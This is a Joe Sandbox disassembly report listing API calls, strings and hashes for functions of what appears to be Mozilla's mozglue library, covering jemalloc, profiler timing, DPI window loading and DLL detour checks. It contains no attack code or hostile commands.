Function 6C686FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687019
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C687061
EnterCriticalSection.KERNEL32(?), ref: 6C6871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C68721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C68723E
EnterCriticalSection.KERNEL32(?), ref: 6C68726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C6872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C68733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C6873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C68961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C689622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C689642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C68964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C6896DB
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C689747
GetSystemInfo.KERNEL32(?), ref: 6C689792
__Init_thread_footer.LIBCMT ref: 6C6897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C6897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C689838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C68984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C689874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C689895

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C689BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6899A8
MOZ_CRASH(), xrefs: 6C689B42
MALLOC_OPTIONS, xrefs: 6C6897CA
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6899BD
Compile-time page size does not divide the runtime one., xrefs: 6C689B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C689933, 6C689A33, 6C689A4E
<jemalloc>, xrefs: 6C689B33, 6C689BE3
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C689993

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction ID: ee36c599fa48198b2c7725134521e9e790b374f81c6c1017c0afef02a68b7765
Opcode Fuzzy Hash: 418fd89d6427ea1ae05e57579495d84a3dc27d706b17276d0fd4751e268b2148
Instruction Fuzzy Hash: 4153B171A067018FD704CF29C580715FBE1BF8A328F29C66DE8698B7A1D771E841CB99

Function 6C690DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C690F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C690F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C690FB7
EnterCriticalSection.KERNEL32(?), ref: 6C690FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C691031
LeaveCriticalSection.KERNEL32(?), ref: 6C6910D0
EnterCriticalSection.KERNEL32(?), ref: 6C69117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C691C39
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C693391
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C6933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C693431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C693437

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C693A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C6937A8
MOZ_CRASH(), xrefs: 6C693950
MALLOC_OPTIONS, xrefs: 6C6935FE
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C6937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C6937BD
Compile-time page size does not divide the runtime one., xrefs: 6C693946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C693559, 6C69382D, 6C693848
<jemalloc>, xrefs: 6C693941, 6C6939F1
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C693793

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction ID: 96dae9f6c816b0358c2a12f1448292288e71a0c622159dc55be4494e21494cd5
Opcode Fuzzy Hash: 490fd3e4da68b349dcf174aeb13f7e1aa5eb04aedbdc4e08c90c6a630371fe5e
Instruction Fuzzy Hash: 1F539E71A057028FD704CF29C580616FBE1BF8A328F29C76DE8699B791D771E842CB85

Function 6C6B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C68E1A5), ref: 6C6B5606
LoadLibraryW.KERNEL32(gdi32,?,6C68E1A5), ref: 6C6B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C6B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C6B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C6B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C6B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C6B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C6B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C6B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C6B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C6B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C6B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C6B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C6B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C6B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C6B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C6B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C6B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6B57FF

Strings

GetWindowDC, xrefs: 6C6B5710
LoadIconW, xrefs: 6C6B575B
SetWindowPos, xrefs: 6C6B56F7
ReleaseDC, xrefs: 6C6B5742
GetThreadDpiAwarenessContext, xrefs: 6C6B562D
gdi32, xrefs: 6C6B560A
RegisterClassW, xrefs: 6C6B56AC
GetDpiForWindow, xrefs: 6C6B5690
ShowWindow, xrefs: 6C6B56DE
StretchDIBits, xrefs: 6C6B57CC
AreDpiAwarenessContextsEqual, xrefs: 6C6B5637
GetSystemMetricsForDpi, xrefs: 6C6B5677
CreateSolidBrush, xrefs: 6C6B57E4
SetWindowLongPtrW, xrefs: 6C6B57B7
CreateWindowExW, xrefs: 6C6B56C5
LoadCursorW, xrefs: 6C6B5774
EnableNonClientDpiScaling, xrefs: 6C6B5666
MonitorFromWindow, xrefs: 6C6B578D
FillRect, xrefs: 6C6B5729
GetMonitorInfoW, xrefs: 6C6B57A2
user32, xrefs: 6C6B5601
DeleteObject, xrefs: 6C6B57F9

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction ID: b3b9cb022db72f0e9f9477c7989f80cbda05744432ed32d297e3daa30a732aad
Opcode Fuzzy Hash: 94b76636f99ffd07114a4f151aec59dcb6d2598d60fa7d4b3905766af542c8f8
Instruction Fuzzy Hash: 965169707113235BDB009F36CD84A663AF8AB4A785F114925AA21F3A55EFB0F811CF6D

Function 6C6B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B3EE2

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C6B61DD
Part of subcall function 6C6B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C6B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4157

Part of subcall function 6C6B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C6B6250
Part of subcall function 6C6B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C6B4896
free.MOZGLUE ref: 6C6B489F

Strings

, xrefs: 6C6B4CD2

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction ID: 58ee6da397fa28b9ce1d1355d0b4e0bc2cd33d329d9bb7f3149907bc63987aa2
Opcode Fuzzy Hash: 401fd3e3f0ce69e40bd11e1cc5dbf2f34b948666a2131da8147521809414bbb2
Instruction Fuzzy Hash: 3CF26C74908B808FC725CF29C08469AFBF1FFCA304F118A5ED99997711DB71A896CB46

Function 6C69F070 Relevance: 59.9, APIs: 30, Strings: 4, Instructions: 412
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C69F09B

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C69F0AC

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C69F0BE

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(?,?), ref: 6C69F155
GetCurrentThreadId.KERNEL32 ref: 6C69F1E0
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F1ED
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F212
GetCurrentThreadId.KERNEL32 ref: 6C69F229
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F231
?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F248
GetCurrentThreadId.KERNEL32 ref: 6C69F2AE
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2BB
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F2F8

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69F350
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F35D
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F381
GetCurrentThreadId.KERNEL32 ref: 6C69F398
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F3A0
GetCurrentThreadId.KERNEL32 ref: 6C69F489
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F491

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F3CF

Part of subcall function 6C69F070: GetCurrentThreadId.KERNEL32 ref: 6C69F440
Part of subcall function 6C69F070: AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F44D
Part of subcall function 6C69F070: ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F472

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C69F4A8
GetCurrentThreadId.KERNEL32 ref: 6C69F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69F561
GetCurrentThreadId.KERNEL32 ref: 6C69F577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F585
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C69F499
[I %d/%d] profiler_resume, xrefs: 6C69F239
[I %d/%d] profiler_pause_sampling, xrefs: 6C69F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C69F56A

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentExclusiveLock$Thread$AcquireRelease$CriticalSectionTime_getpid$?profiler_time@baseprofiler@mozilla@@getenv$Count64EnterLeaveProcessStampTickV01@@Value@mozilla@@$BaseCounterDurationInit_thread_footerNow@PerformancePlatformQuerySeconds@Stamp@mozilla@@TerminateUtils@mozilla@@V12@___acrt_iob_func__aulldiv__stdio_common_vfprintf
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 565197838-2840072211
Opcode ID: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction ID: 74419fba93a6748ef766794b00d95a34a809e8270ab2221dbc72faede3565aa9
Opcode Fuzzy Hash: 4cb49cd2e8061e87c9b4b231fee6b20f2df7199dfaaabf510f54abd1fa6f2fd0
Instruction Fuzzy Hash: 2AD139316042019FDB009F66D8847A977F8EF87369F15462AF95583B81DB70B805CBAF

Function 6C6664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C666505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C666518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C66652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C66671C
GetCurrentProcess.KERNEL32 ref: 6C666724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C66672F
GetCurrentProcess.KERNEL32 ref: 6C666759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C666764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C666A80
GetSystemInfo.KERNEL32(?), ref: 6C666ABE
__Init_thread_footer.LIBCMT ref: 6C666AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666AF7

Strings

detoured.dll, xrefs: 6C6664DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C666798
nvdxgiwrap.dll, xrefs: 6C666513
nvd3d9wrap.dll, xrefs: 6C666500
_etoured.dll, xrefs: 6C6664ED
user32.dll, xrefs: 6C666526

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction ID: 7cc53657b461bba9e13a34008fa2f976f06660de6afbf4b2ef5565db851e3b8a
Opcode Fuzzy Hash: e107899b83c6aa657df92b2df7dcac7b44bbfbc6bc99540e755bcd1564052420
Instruction Fuzzy Hash: 5CF1E6709052199FDB20CF26DC887DAB7B5AF46318F144299D809E3B41D731EE85CF9A

Function 6C67D850 Relevance: 48.4, APIs: 21, Strings: 6, Instructions: 1109COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C67D904
LeaveCriticalSection.KERNEL32(?), ref: 6C67D971
memset.VCRUNTIME140(?,00000000,?), ref: 6C67D97B
LeaveCriticalSection.KERNEL32(?), ref: 6C67E2E3
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C67E2E9
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E308
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C67E315
AcquireSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E37C
GetSystemInfo.KERNEL32(?), ref: 6C67E3C7
__Init_thread_footer.LIBCMT ref: 6C67E3DA
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C6DE810,00000040), ref: 6C67E404
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7B8,00001388), ref: 6C67E46D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE744,00001388), ref: 6C67E483
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE784,00001388), ref: 6C67E4A9
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE7DC,00001388), ref: 6C67E4CA
InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DE768,00001388), ref: 6C67E50C
memset.VCRUNTIME140(00000000,00000000,00004000), ref: 6C67E52E
ReleaseSRWLockExclusive.KERNEL32(6C6DE804), ref: 6C67E54F

Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(?), ref: 6C66D999
Part of subcall function 6C66D960: EnterCriticalSection.KERNEL32(6C6DE7B8), ref: 6C66DA13

Strings

: (malloc) Unsupported character in malloc options: ', xrefs: 6C67E6DD
MOZ_CRASH(), xrefs: 6C67E62B
MALLOC_OPTIONS, xrefs: 6C67E3FF
Compile-time page size does not divide the runtime one., xrefs: 6C67E621
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C67E560, 6C67E58A, 6C67E5A5
<jemalloc>, xrefs: 6C67E61C, 6C67E6CC

Memory Dump Source

Source File: 00000000.00000002.2463124173.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2463099308.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463204634.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463238727.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2463260539.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$CountInitializeSpin$Enter$ExclusiveK@1@LeaveLockMaybe@_RandomUint64@mozilla@@memset$AcquireEnvironmentInfoInit_thread_footerReleaseSystemVariable_errno
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 919329573-429003945
Opcode ID: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
Instruction ID: 76ea3646499f32143a589c8e346c2385426a3e0c1043c65ab74aae4095a5dddf
Opcode Fuzzy Hash: fc65f9435edddd54c3e4aa9483b46ff56f829e4af40b2a513b9941691e83d4f8
